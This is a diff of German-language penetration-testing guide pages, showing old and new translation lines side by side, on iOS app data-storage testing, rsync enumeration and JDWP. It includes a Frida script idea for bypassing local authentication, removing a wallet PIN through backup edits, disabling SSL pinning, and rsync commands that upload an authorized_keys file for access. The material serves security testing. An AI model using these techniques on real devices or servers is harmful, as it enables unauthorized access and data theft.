Standardmäßig speichert NSURLSession Daten, wie **HTTP-Anfragen und -Antworten in der Cache.db**-Datenbank. Diese Datenbank kann **sensible Daten** enthalten, wenn Tokens, Benutzernamen oder andere sensible Informationen zwischengespeichert wurden. Um die zwischengespeicherten Informationen zu finden, öffnen Sie das Datenverzeichnis der App (`/var/mobile/Containers/Data/Application/<UUID>`) und gehen Sie zu `/Library/Caches/<Bundle Identifier>`. Der **WebKit-Cache wird ebenfalls in der Cache.db**-Datei gespeichert. **Objection** kann die Datenbank mit dem Befehl `sqlite connect Cache.db` öffnen und damit interagieren, da es sich um eine n**ormale SQLite-Datenbank** handelt.
Es wird **empfohlen, das Caching dieser Daten zu deaktivieren**, da es sensible Informationen in der Anfrage oder Antwort enthalten kann. Die folgende Liste zeigt verschiedene Möglichkeiten, dies zu erreichen:
Es wird **empfohlen, das Caching dieser Daten zu deaktivieren**, da sie sensible Informationen in der Anfrage oder Antwort enthalten können. Die folgende Liste zeigt verschiedene Möglichkeiten, dies zu erreichen:
1. Es wird empfohlen, zwischengespeicherte Antworten nach dem Logout zu entfernen. Dies kann mit der von Apple bereitgestellten Methode [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) erfolgen. Sie können diese Methode wie folgt aufrufen:
@ -530,7 +530,7 @@ Diese Methode entfernt alle zwischengespeicherten Anfragen und Antworten aus der
Immer wenn Sie die Home-Taste drücken, **nimmt iOS einen Snapshot des aktuellen Bildschirms** auf, um den Übergang zur Anwendung viel reibungsloser zu gestalten. Wenn jedoch **sensible** **Daten** auf dem aktuellen Bildschirm vorhanden sind, werden sie im **Bild** **gespeichert** (das **über** **Neustarts** **hinaus** **besteht**). Dies sind die Snapshots, auf die Sie auch zugreifen können, indem Sie doppelt auf den Home-Bildschirm tippen, um zwischen Apps zu wechseln.
Es sei denn, das iPhone ist jailbroken, muss der **Angreifer** **Zugriff** auf das **Gerät** **entblockt** haben, um diese Screenshots zu sehen. Standardmäßig wird der letzte Snapshot im Sandbox der Anwendung im `Library/Caches/Snapshots/` oder `Library/SplashBoard/Snapshots`-Ordner gespeichert (vertrauenswürdige Computer können ab iOS 7.0 nicht auf das Dateisystem zugreifen).
Es sei denn, das iPhone ist jailbroken, muss der **Angreifer** **Zugriff** auf das **Gerät** **unblockiert** haben, um diese Screenshots zu sehen. Standardmäßig wird der letzte Snapshot im Sandbox-Verzeichnis der Anwendung im Ordner `Library/Caches/Snapshots/` oder `Library/SplashBoard/Snapshots` gespeichert (vertrauenswürdige Computer können ab iOS 7.0 nicht auf das Dateisystem zugreifen).
Eine Möglichkeit, dieses unerwünschte Verhalten zu verhindern, besteht darin, einen leeren Bildschirm anzuzeigen oder die sensiblen Daten zu entfernen, bevor der Snapshot mit der Funktion `ApplicationDidEnterBackground()` aufgenommen wird.
@ -574,7 +574,7 @@ Für den Zugriff auf und die Verwaltung des iOS-Keychains sind Tools wie [**Keyc
#### **Speichern von Anmeldeinformationen**
Die **NSURLCredential**-Klasse ist ideal zum Speichern sensibler Informationen direkt im Keychain, wodurch die Notwendigkeit für NSUserDefaults oder andere Wrapper umgangen wird. Um Anmeldeinformationen nach dem Login zu speichern, wird der folgende Swift-Code verwendet:
Die **NSURLCredential**-Klasse ist ideal, um sensible Informationen direkt im Keychain zu speichern, wodurch die Notwendigkeit für NSUserDefaults oder andere Wrapper umgangen wird. Um Anmeldeinformationen nach dem Login zu speichern, wird der folgende Swift-Code verwendet:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -589,12 +589,12 @@ Mit iOS 8.0 und höher können Benutzer benutzerdefinierte Tastaturerweiterungen
**Sicherheitsempfehlungen:**
- Es wird empfohlen, Drittanbieter-Tastaturen zur Verbesserung der Sicherheit zu deaktivieren.
- Seien Sie sich der Autokorrektur- und Auto-Vervollständigungsfunktionen der Standard-iOS-Tastatur bewusst, die sensible Informationen in Cache-Dateien speichern könnten, die sich in `Library/Keyboard/{locale}-dynamic-text.dat` oder `/private/var/mobile/Library/Keyboard/dynamic-text.dat` befinden. Diese Cache-Dateien sollten regelmäßig auf sensible Daten überprüft werden. Es wird empfohlen, das Tastaturwörterbuch über **Einstellungen > Allgemein > Zurücksetzen > Tastaturwörterbuch zurücksetzen** zu löschen, um zwischengespeicherte Daten zu löschen.
- Seien Sie sich der Autokorrektur- und Auto-Vervollständigungsfunktionen der Standard-iOS-Tastatur bewusst, die sensible Informationen in Cache-Dateien speichern könnten, die sich in `Library/Keyboard/{locale}-dynamic-text.dat` oder `/private/var/mobile/Library/Keyboard/dynamic-text.dat` befinden. Diese Cache-Dateien sollten regelmäßig auf sensible Daten überprüft werden. Es wird empfohlen, das Tastaturwörterbuch über **Einstellungen > Allgemein > Zurücksetzen > Tastaturwörterbuch zurücksetzen** zu löschen, um zwischengespeicherte Daten zu entfernen.
- Das Abfangen von Netzwerkverkehr kann aufdecken, ob eine benutzerdefinierte Tastatur Tastenanschläge remote überträgt.
### **Verhindern der Textfeld-Caching**
Das [UITextInputTraits-Protokoll](https://developer.apple.com/reference/uikit/uitextinputtraits) bietet Eigenschaften zur Verwaltung der Autokorrektur und der sicheren Texteingabe, die entscheidend sind, um das Caching sensibler Informationen zu verhindern. Beispielsweise kann das Deaktivieren der Autokorrektur und das Aktivieren der sicheren Texteingabe erreicht werden mit:
Das [UITextInputTraits-Protokoll](https://developer.apple.com/reference/uikit/uitextinputtraits) bietet Eigenschaften zur Verwaltung der Autokorrektur und der sicheren Texteingabe, die entscheidend sind, um das Caching sensibler Informationen zu verhindern. Zum Beispiel kann das Deaktivieren der Autokorrektur und das Aktivieren der sicheren Texteingabe erreicht werden mit:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
@ -624,17 +624,17 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
sind nützlich. Darüber hinaus bietet **Xcode** eine Möglichkeit, Konsolenprotokolle zu sammeln:
1. Öffnen Sie Xcode.
2. Schließen Sie das iOS-Gerät an.
3. Navigieren Sie zu **Fenster** -> **Geräte und Simulatoren**.
2. Verbinden Sie das iOS-Gerät.
3. Navigieren Sie zu **Window** -> **Devices and Simulators**.
4. Wählen Sie Ihr Gerät aus.
5. Lösen Sie das Problem aus, das Sie untersuchen.
6. Verwenden Sie die Schaltfläche **Konsole öffnen**, um Protokolle in einem neuen Fenster anzuzeigen.
6. Verwenden Sie die Schaltfläche **Open Console**, um Protokolle in einem neuen Fenster anzuzeigen.
Für fortgeschrittenes Logging kann das Verbinden mit der Geräteshell und die Verwendung von **socat** eine Echtzeit-Protokollüberwachung bieten:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
Befolgt von Befehlen zur Beobachtung von Protokollaktivitäten, die für die Diagnose von Problemen oder die Identifizierung potenzieller Datenlecks in Protokollen von unschätzbarem Wert sein können.
Folgen Sie den Befehlen zur Beobachtung von Protokollaktivitäten, die für die Diagnose von Problemen oder die Identifizierung potenzieller Datenlecks in Protokollen von unschätzbarem Wert sein können.
## Backups
@ -642,7 +642,7 @@ Befolgt von Befehlen zur Beobachtung von Protokollaktivitäten, die für die Dia
### Sicherheitsrisiken
Die Einbeziehung von **installierten Apps und deren Daten** in Backups wirft das Problem potenzieller **Datenlecks** und das Risiko auf, dass **Backup-Modifikationen die App-Funktionalität ändern könnten**. Es wird empfohlen, **keine sensiblen Informationen im Klartext** im Verzeichnis einer App oder deren Unterverzeichnissen zu speichern, um diese Risiken zu mindern.
Die Einbeziehung von **installierten Apps und deren Daten** in Backups wirft das Problem potenzieller **Datenlecks** auf und das Risiko, dass **Backup-Modifikationen die Funktionalität der App ändern könnten**. Es wird empfohlen, **keine sensiblen Informationen im Klartext** im Verzeichnis einer App oder deren Unterverzeichnissen zu speichern, um diese Risiken zu mindern.
### Ausschluss von Dateien aus Backups
@ -652,7 +652,7 @@ Dateien in `Documents/` und `Library/Application Support/` werden standardmäßi
Um die Backup-Sicherheit einer App zu bewerten, beginnen Sie mit der **Erstellung eines Backups** über den Finder und suchen Sie es dann mithilfe der Anleitung aus [Apples offizieller Dokumentation](https://support.apple.com/en-us/HT204215). Analysieren Sie das Backup auf sensible Daten oder Konfigurationen, die geändert werden könnten, um das Verhalten der App zu beeinflussen.
Sensible Informationen können mit Befehlszeilenwerkzeugen oder Anwendungen wie [iMazing](https://imazing.com) gesucht werden. Bei verschlüsselten Backups kann die Anwesenheit der Verschlüsselung bestätigt werden, indem der "IsEncrypted"-Schlüssel in der "Manifest.plist"-Datei im Stammverzeichnis des Backups überprüft wird.
Sensible Informationen können mit Befehlszeilenwerkzeugen oder Anwendungen wie [iMazing](https://imazing.com) gesucht werden. Bei verschlüsselten Backups kann die Anwesenheit der Verschlüsselung bestätigt werden, indem der Schlüssel "IsEncrypted" in der Datei "Manifest.plist" im Stammverzeichnis des Backups überprüft wird.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -665,15 +665,15 @@ Sensible Informationen können mit Befehlszeilenwerkzeugen oder Anwendungen wie
...
</plist>
```
Für den Umgang mit verschlüsselten Backups können Python-Skripte, die im [DinoSec's GitHub-Repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) verfügbar sind, wie **backup_tool.py** und **backup_passwd.py**, nützlich sein, obwohl möglicherweise Anpassungen für die Kompatibilität mit den neuesten iTunes/Finder-Versionen erforderlich sind. Das [**iOSbackup**-Tool](https://pypi.org/project/iOSbackup/) ist eine weitere Option, um auf Dateien innerhalb von passwortgeschützten Backups zuzugreifen.
Um mit verschlüsselten Backups umzugehen, können Python-Skripte aus dem [DinoSec GitHub-Repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), wie **backup_tool.py** und **backup_passwd.py**, nützlich sein, obwohl möglicherweise Anpassungen für die Kompatibilität mit den neuesten iTunes/Finder-Versionen erforderlich sind. Das [**iOSbackup**-Tool](https://pypi.org/project/iOSbackup/) ist eine weitere Option, um auf Dateien innerhalb von passwortgeschützten Backups zuzugreifen.
### Modifizieren des App-Verhaltens
Ein Beispiel für die Änderung des App-Verhaltens durch Backup-Modifikationen wird in der [Bither Bitcoin Wallet-App](https://github.com/bither/bither-ios) demonstriert, wo die UI-Sperr-PIN in `net.bither.plist` unter dem **pin_code**-Schlüssel gespeichert ist. Das Entfernen dieses Schlüssels aus der plist und das Wiederherstellen des Backups entfernt die PIN-Anforderung und ermöglicht uneingeschränkten Zugriff.
Ein Beispiel für die Änderung des App-Verhaltens durch Backup-Modifikationen wird in der [Bither Bitcoin Wallet-App](https://github.com/bither/bither-ios) demonstriert, wo die UI-Sperr-PIN in `net.bither.plist` unter dem Schlüssel **pin_code** gespeichert ist. Das Entfernen dieses Schlüssels aus der plist und das Wiederherstellen des Backups entfernt die PIN-Anforderung und ermöglicht uneingeschränkten Zugriff.
## Zusammenfassung zum Speichertest für sensible Daten
Beim Umgang mit sensiblen Informationen, die im Speicher einer Anwendung gespeichert sind, ist es entscheidend, die Expositionszeit dieser Daten zu begrenzen. Es gibt zwei Hauptansätze, um den Speicherinhalt zu untersuchen: **Erstellen eines Speicherdumps** und **Analysieren des Speichers in Echtzeit**. Beide Methoden haben ihre Herausforderungen, einschließlich der Möglichkeit, kritische Daten während des Dump-Prozesses oder der Analyse zu übersehen.
Beim Umgang mit sensiblen Informationen, die im Speicher einer Anwendung gespeichert sind, ist es entscheidend, die Expositionszeit dieser Daten zu begrenzen. Es gibt zwei Hauptansätze, um den Speicherinhalt zu untersuchen: **Erstellen eines Speicherdumps** und **Echtzeitanalyse des Speichers**. Beide Methoden haben ihre Herausforderungen, einschließlich der Möglichkeit, kritische Daten während des Dump-Prozesses oder der Analyse zu übersehen.
## **Abrufen und Analysieren eines Speicherdumps**
@ -687,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
Für eine detailliertere Analyse, einschließlich der Suche nach spezifischen Datentypen oder Mustern, bietet **radare2** umfangreiche Suchmöglichkeiten:
Für eine detailliertere Analyse, einschließlich der Suche nach spezifischen Datentypen oder Mustern, bietet **radare2** umfangreiche Suchfunktionen:
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
@ -704,11 +704,11 @@ $ r2 frida://usb//<name_of_your_app>
### Schlechte Schlüsselverwaltungsprozesse
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht getan werden, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht getan werden, da einige Reverse-Engineering-Angriffe es Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren.
### Verwendung unsicherer und/oder veralteter Algorithmen
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Überprüfungen** durchzuführen, **Daten** zu **speichern** oder **zu senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** verwendet werden, um Passwörter zu speichern, sollten brute-force **resistente** Hashes mit Salt verwendet werden.
Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Überprüfungen** durchzuführen, Daten zu **speichern** oder zu **senden**. Einige dieser Algorithmen sind: RC4, MD4, MD5, SHA1... Wenn **Hashes** beispielsweise zum Speichern von Passwörtern verwendet werden, sollten hash-brute-force **resistente** Hashes mit Salt verwendet werden.
### Überprüfung
@ -724,11 +724,11 @@ Für **weitere Informationen** zu iOS-Kryptografie-APIs und -Bibliotheken besuch
**Lokale Authentifizierung** spielt eine entscheidende Rolle, insbesondere wenn es darum geht, den Zugriff an einem entfernten Endpunkt durch kryptografische Methoden zu sichern. Der Kernpunkt ist, dass lokale Authentifizierungsmechanismen ohne ordnungsgemäße Implementierung umgangen werden können.
Apples [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) und der [**Schlüsselbund**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bieten robuste APIs für Entwickler, um Benutzerauthentifizierungsdialoge zu erleichtern und geheime Daten sicher zu verwalten. Der Secure Enclave sichert die Fingerabdruck-ID für Touch ID, während Face ID auf Gesichtserkennung basiert, ohne biometrische Daten zu gefährden.
Apples [**Local Authentication framework**](https://developer.apple.com/documentation/localauthentication) und der [**Schlüsselbund**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) bieten robuste APIs für Entwickler, um Benutzer-Authentifizierungsdialoge zu erleichtern und geheime Daten sicher zu verwalten. Die Secure Enclave sichert die Fingerabdruck-ID für Touch ID, während Face ID auf Gesichtserkennung basiert, ohne biometrische Daten zu gefährden.
Um Touch ID/Face ID zu integrieren, haben Entwickler zwei API-Optionen:
- **`LocalAuthentication.framework`** für die hochgradige Benutzerauthentifizierung ohne Zugriff auf biometrische Daten.
- **`LocalAuthentication.framework`** für die hochgradige Benutzer-Authentifizierung ohne Zugriff auf biometrische Daten.
- **`Security.framework`** für den Zugriff auf niedrigere Schlüsselbunddienste, die geheime Daten mit biometrischer Authentifizierung sichern. Verschiedene [Open-Source-Wrappers](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) erleichtern den Zugriff auf den Schlüsselbund.
> [!CAUTION]
@ -738,18 +738,18 @@ Um Touch ID/Face ID zu integrieren, haben Entwickler zwei API-Optionen:
Um Benutzer zur Authentifizierung aufzufordern, sollten Entwickler die **`evaluatePolicy`**-Methode innerhalb der **`LAContext`**-Klasse verwenden und zwischen folgenden Optionen wählen:
- **`deviceOwnerAuthentication`**: Fordert Touch ID oder den Gerätepasscode an und schlägt fehl, wenn keines von beiden aktiviert ist.
- **`deviceOwnerAuthentication`**: Fordert Touch ID oder den Geräte-Passcode an und schlägt fehl, wenn keines von beiden aktiviert ist.
- **`deviceOwnerAuthenticationWithBiometrics`**: Fordert ausschließlich Touch ID an.
Eine erfolgreiche Authentifizierung wird durch einen booleschen Rückgabewert von **`evaluatePolicy`** angezeigt, was auf eine potenzielle Sicherheitsanfälligkeit hinweist.
### Lokale Authentifizierung mit Schlüsselbund
Die Implementierung der **lokalen Authentifizierung** in iOS-Apps umfasst die Verwendung von **Schlüsselbund-APIs**, um geheime Daten wie Authentifizierungstoken sicher zu speichern. Dieser Prozess stellt sicher, dass die Daten nur vom Benutzer mit seinem Gerätepasscode oder biometrischer Authentifizierung wie Touch ID abgerufen werden können.
Die Implementierung der **lokalen Authentifizierung** in iOS-Apps umfasst die Verwendung von **Schlüsselbund-APIs**, um geheime Daten wie Authentifizierungstoken sicher zu speichern. Dieser Prozess stellt sicher, dass die Daten nur vom Benutzer mit seinem Geräte-Passcode oder biometrischer Authentifizierung wie Touch ID abgerufen werden können.
Der Schlüsselbund bietet die Möglichkeit, Elemente mit dem Attribut `SecAccessControl` festzulegen, das den Zugriff auf das Element einschränkt, bis der Benutzer erfolgreich über Touch ID oder den Gerätepasscode authentifiziert wird. Diese Funktion ist entscheidend für die Verbesserung der Sicherheit.
Der Schlüsselbund bietet die Möglichkeit, Elemente mit dem Attribut `SecAccessControl` festzulegen, das den Zugriff auf das Element einschränkt, bis der Benutzer erfolgreich über Touch ID oder den Geräte-Passcode authentifiziert. Diese Funktion ist entscheidend für die Verbesserung der Sicherheit.
Im Folgenden finden Sie Codebeispiele in Swift und Objective-C, die zeigen, wie man einen String im Schlüsselbund speichert und abruft, wobei diese Sicherheitsfunktionen genutzt werden. Die Beispiele zeigen speziell, wie man den Zugriffskontrollmechanismus einrichtet, um eine Touch ID-Authentifizierung zu verlangen und sicherzustellen, dass die Daten nur auf dem Gerät zugänglich sind, auf dem sie eingerichtet wurden, vorausgesetzt, ein Gerätepasscode ist konfiguriert.
Im Folgenden finden Sie Codebeispiele in Swift und Objective-C, die zeigen, wie man einen String im Schlüsselbund speichert und abruft, wobei diese Sicherheitsfunktionen genutzt werden. Die Beispiele zeigen speziell, wie man den Zugriffskontrollmechanismus einrichtet, um eine Touch ID-Authentifizierung zu verlangen und sicherzustellen, dass die Daten nur auf dem Gerät zugänglich sind, auf dem sie eingerichtet wurden, vorausgesetzt, ein Geräte-Passcode ist konfiguriert.
{{#tabs}}
{{#tab name="Swift"}}
@ -880,7 +880,7 @@ Die Verwendung von Frameworks in einer App kann auch durch die Analyse der Liste
```bash
$ otool -L <AppName>.app/<AppName>
```
Wenn `LocalAuthentication.framework` in einer App verwendet wird, enthält die Ausgabe beide der folgenden Zeilen (denken Sie daran, dass `LocalAuthentication.framework` `Security.framework` im Hintergrund verwendet):
Wenn `LocalAuthentication.framework` in einer App verwendet wird, enthält die Ausgabe beide der folgenden Zeilen (denken Sie daran, dass `LocalAuthentication.framework` unter der Haube `Security.framework` verwendet):
```bash
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
@ -934,7 +934,7 @@ dispatch_async(dispatch_get_main_queue(), ^{
}
}
```
Um den **Umgehung** der lokalen Authentifizierung zu erreichen, wird ein Frida-Skript geschrieben. Dieses Skript zielt auf die **evaluatePolicy**-Überprüfung ab und fängt deren Callback ab, um sicherzustellen, dass es **success=1** zurückgibt. Durch die Änderung des Verhaltens des Callbacks wird die Authentifizierungsüberprüfung effektiv umgangen.
Um den **Bypass** der lokalen Authentifizierung zu erreichen, wird ein Frida-Skript geschrieben. Dieses Skript zielt auf die **evaluatePolicy**-Überprüfung ab und fängt deren Callback ab, um sicherzustellen, dass es **success=1** zurückgibt. Durch die Änderung des Verhaltens des Callbacks wird die Authentifizierungsüberprüfung effektiv umgangen.
Das folgende Skript wird injiziert, um das Ergebnis der **evaluatePolicy**-Methode zu ändern. Es ändert das Ergebnis des Callbacks, um immer Erfolg anzuzeigen.
```swift
@ -1022,7 +1022,7 @@ Um dieses Problem mit Burp zu überprüfen, können Sie, nachdem Sie die Burp CA
### Zertifikat-Pinning
Wenn eine Anwendung SSL-Pinning korrekt verwendet, funktioniert die Anwendung nur, wenn das Zertifikat das erwartete ist. Bei der Prüfung einer Anwendung **kann dies ein Problem sein, da Burp sein eigenes Zertifikat bereitstellt.**\
Wenn eine Anwendung SSL-Pinning korrekt verwendet, funktioniert die Anwendung nur, wenn das Zertifikat das erwartete ist. Bei der Prüfung einer Anwendung **kann dies ein Problem darstellen, da Burp sein eigenes Zertifikat bereitstellt.**\
Um diesen Schutz auf einem jailbroken Gerät zu umgehen, können Sie die Anwendung [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) installieren oder [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) installieren.
Sie können auch **objection's** `ios sslpinning disable` verwenden.
@ -1040,15 +1040,15 @@ Sie können auch **objection's** `ios sslpinning disable` verwenden.
### Hot Patching/Erzwungene Aktualisierung
Die Entwickler können **alle Installationen ihrer App sofort patchen**, ohne die Anwendung erneut im App Store einreichen und auf die Genehmigung warten zu müssen.\
Die Entwickler können **alle Installationen ihrer App sofort remote patchen**, ohne die Anwendung erneut im App Store einreichen und auf die Genehmigung warten zu müssen.\
Zu diesem Zweck wird normalerweise [**JSPatch**](https://github.com/bang590/JSPatch)** verwendet.** Es gibt jedoch auch andere Optionen wie [Siren](https://github.com/ArtSabintsev/Siren) und [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Dies ist ein gefährlicher Mechanismus, der von böswilligen Drittanbieter-SDKs missbraucht werden könnte, daher wird empfohlen, zu überprüfen, welche Methode für automatische Aktualisierungen verwendet wird (falls vorhanden) und diese zu testen.** Sie könnten versuchen, eine frühere Version der App zu diesem Zweck herunterzuladen.
**Dies ist ein gefährlicher Mechanismus, der von böswilligen Drittanbieter-SDKs missbraucht werden könnte, daher wird empfohlen, zu überprüfen, welche Methode für die automatische Aktualisierung verwendet wird (falls vorhanden) und sie zu testen.** Sie könnten versuchen, eine frühere Version der App zu diesem Zweck herunterzuladen.
### Drittanbieter
Eine erhebliche Herausforderung bei **3rd Party SDKs** ist der **Mangel an granularer Kontrolle** über deren Funktionen. Entwickler stehen vor der Wahl: entweder das SDK zu integrieren und alle seine Funktionen zu akzeptieren, einschließlich potenzieller Sicherheitsanfälligkeiten und Datenschutzbedenken, oder ganz auf seine Vorteile zu verzichten. Oft sind Entwickler nicht in der Lage, Sicherheitsanfälligkeiten innerhalb dieser SDKs selbst zu patchen. Darüber hinaus können einige SDKs, die innerhalb der Community Vertrauen gewinnen, Malware enthalten.
Eine erhebliche Herausforderung bei **3rd Party SDKs** ist die **fehlende granulare Kontrolle** über ihre Funktionen. Entwickler stehen vor der Wahl: entweder das SDK integrieren und alle seine Funktionen akzeptieren, einschließlich potenzieller Sicherheitsanfälligkeiten und Datenschutzbedenken, oder auf seine Vorteile ganz verzichten. Oft können Entwickler Sicherheitsanfälligkeiten innerhalb dieser SDKs nicht selbst patchen. Darüber hinaus können einige SDKs, die innerhalb der Community Vertrauen gewinnen, Malware enthalten.
Die von Drittanbieter-SDKs bereitgestellten Dienste können das Tracking des Benutzerverhaltens, die Anzeige von Werbung oder die Verbesserung der Benutzererfahrung umfassen. Dies birgt jedoch ein Risiko, da Entwickler möglicherweise nicht vollständig über den von diesen Bibliotheken ausgeführten Code informiert sind, was zu potenziellen Datenschutz- und Sicherheitsrisiken führen kann. Es ist entscheidend, die mit Drittanbieterdiensten geteilten Informationen auf das Notwendige zu beschränken und sicherzustellen, dass keine sensiblen Daten offengelegt werden.
Die von Drittanbieter-SDKs bereitgestellten Dienste können das Tracking des Benutzerverhaltens, die Anzeige von Werbung oder die Verbesserung der Benutzererfahrung umfassen. Dies birgt jedoch ein Risiko, da Entwickler möglicherweise nicht vollständig über den Code informiert sind, der von diesen Bibliotheken ausgeführt wird, was zu potenziellen Datenschutz- und Sicherheitsrisiken führen kann. Es ist entscheidend, die mit Drittanbieterdiensten geteilten Informationen auf das Notwendige zu beschränken und sicherzustellen, dass keine sensiblen Daten offengelegt werden.
Die Implementierung von Drittanbieterdiensten erfolgt normalerweise in zwei Formen: einer eigenständigen Bibliothek oder einem vollständigen SDK. Um die Privatsphäre der Benutzer zu schützen, sollten alle mit diesen Diensten geteilten Daten **anonymisiert** werden, um die Offenlegung von personenbezogenen Daten (PII) zu verhindern.

View File

@ -6,14 +6,14 @@
Von [wikipedia](https://en.wikipedia.org/wiki/Rsync):
> **rsync** ist ein Dienstprogramm zum effizienten [Übertragen](https://en.wikipedia.org/wiki/File_transfer) und [Synchronisieren](https://en.wikipedia.org/wiki/File_synchronization) von [Dateien](https://en.wikipedia.org/wiki/Computer_file) zwischen einem Computer und einer externen Festplatte sowie über [vernetzte](https://en.wikipedia.org/wiki/Computer_network) [Computer](https://en.wikipedia.org/wiki/Computer), indem die [Änderungszeiten](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) und Größen der Dateien verglichen werden.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) Es ist häufig auf [Unix-ähnlichen](https://en.wikipedia.org/wiki/Unix-like) [Betriebssystemen](https://en.wikipedia.org/wiki/Operating_system) zu finden. Der rsync-Algorithmus ist eine Art von [Delta-Codierung](https://en.wikipedia.org/wiki/Delta_encoding) und wird verwendet, um die Netzwerknutzung zu minimieren. [Zlib](https://en.wikipedia.org/wiki/Zlib) kann für zusätzliche [Datenkompression](https://en.wikipedia.org/wiki/Data_compression) verwendet werden,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) und [SSH](https://en.wikipedia.org/wiki/Secure_Shell) oder [stunnel](https://en.wikipedia.org/wiki/Stunnel) können für die Sicherheit verwendet werden.
> **rsync** ist ein Dienstprogramm zum effizienten [Übertragen](https://en.wikipedia.org/wiki/File_transfer) und [Synchronisieren](https://en.wikipedia.org/wiki/File_synchronization) von [Dateien](https://en.wikipedia.org/wiki/Computer_file) zwischen einem Computer und einer externen Festplatte sowie über [vernetzte](https://en.wikipedia.org/wiki/Computer_network) [Computer](https://en.wikipedia.org/wiki/Computer), indem die [Änderungszeiten](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) und Größen der Dateien verglichen werden.[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) Es ist häufig auf [Unix-ähnlichen](https://en.wikipedia.org/wiki/Unix-like) [Betriebssystemen](https://en.wikipedia.org/wiki/Operating_system) zu finden. Der rsync-Algorithmus ist eine Art von [Delta-Codierung](https://en.wikipedia.org/wiki/Delta_encoding) und wird verwendet, um die Netzwerknutzung zu minimieren. [Zlib](https://en.wikipedia.org/wiki/Zlib) kann für zusätzliche [Datenkompression](https://en.wikipedia.org/wiki/Data_compression) verwendet werden,[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) und [SSH](https://en.wikipedia.org/wiki/Secure_Shell) oder [stunnel](https://en.wikipedia.org/wiki/Stunnel) können für die Sicherheit verwendet werden.
**Standardport:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## Aufzählung
## Enumeration
### Banner & Manuelle Kommunikation
```bash
@ -39,7 +39,7 @@ raidroot
```
### **Auflisten von Freigaben**
**Rsync-Module** werden als **Verzeichnisfreigaben** erkannt, die möglicherweise **mit Passwörtern geschützt** sind. Um verfügbare Module zu identifizieren und zu überprüfen, ob sie Passwörter erfordern, werden die folgenden Befehle verwendet:
**Rsync-Module** werden als **Verzeichnisfreigaben** erkannt, die möglicherweise **mit Passwörtern geschützt** sind. Um verfügbare Module zu identifizieren und zu überprüfen, ob sie Passwörter benötigen, werden die folgenden Befehle verwendet:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
@ -68,7 +68,7 @@ Mit **Anmeldeinformationen** kann das Auflisten und Herunterladen aus einem frei
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Um **Inhalte hochzuladen**, wie z.B. eine _**authorized_keys**_-Datei für den Zugriff, verwenden Sie:
Um **Inhalte hochzuladen**, wie z. B. eine _**authorized_keys**_-Datei für den Zugriff, verwenden Sie:
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
@ -78,7 +78,7 @@ Um die rsyncd-Konfigurationsdatei zu finden, führen Sie aus:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
Innerhalb dieser Datei könnte ein _secrets file_ Parameter auf eine Datei verweisen, die **Benutzernamen und Passwörter** für die rsyncd-Authentifizierung enthält.
In dieser Datei könnte ein _secrets file_ Parameter auf eine Datei verweisen, die **Benutzernamen und Passwörter** für die rsyncd-Authentifizierung enthält.
## Referenzen

View File

@ -4,7 +4,7 @@
## Ausnutzen
Die Ausnutzung von JDWP basiert auf dem **Fehlen von Authentifizierung und Verschlüsselung** des Protokolls. Es wird normalerweise auf **Port 8000** gefunden, aber andere Ports sind möglich. Die initiale Verbindung wird hergestellt, indem ein "JDWP-Handshake" an den Zielport gesendet wird. Wenn ein JDWP-Dienst aktiv ist, antwortet er mit demselben String und bestätigt damit seine Anwesenheit. Dieser Handshake dient als Fingerprinting-Methode zur Identifizierung von JDWP-Diensten im Netzwerk.
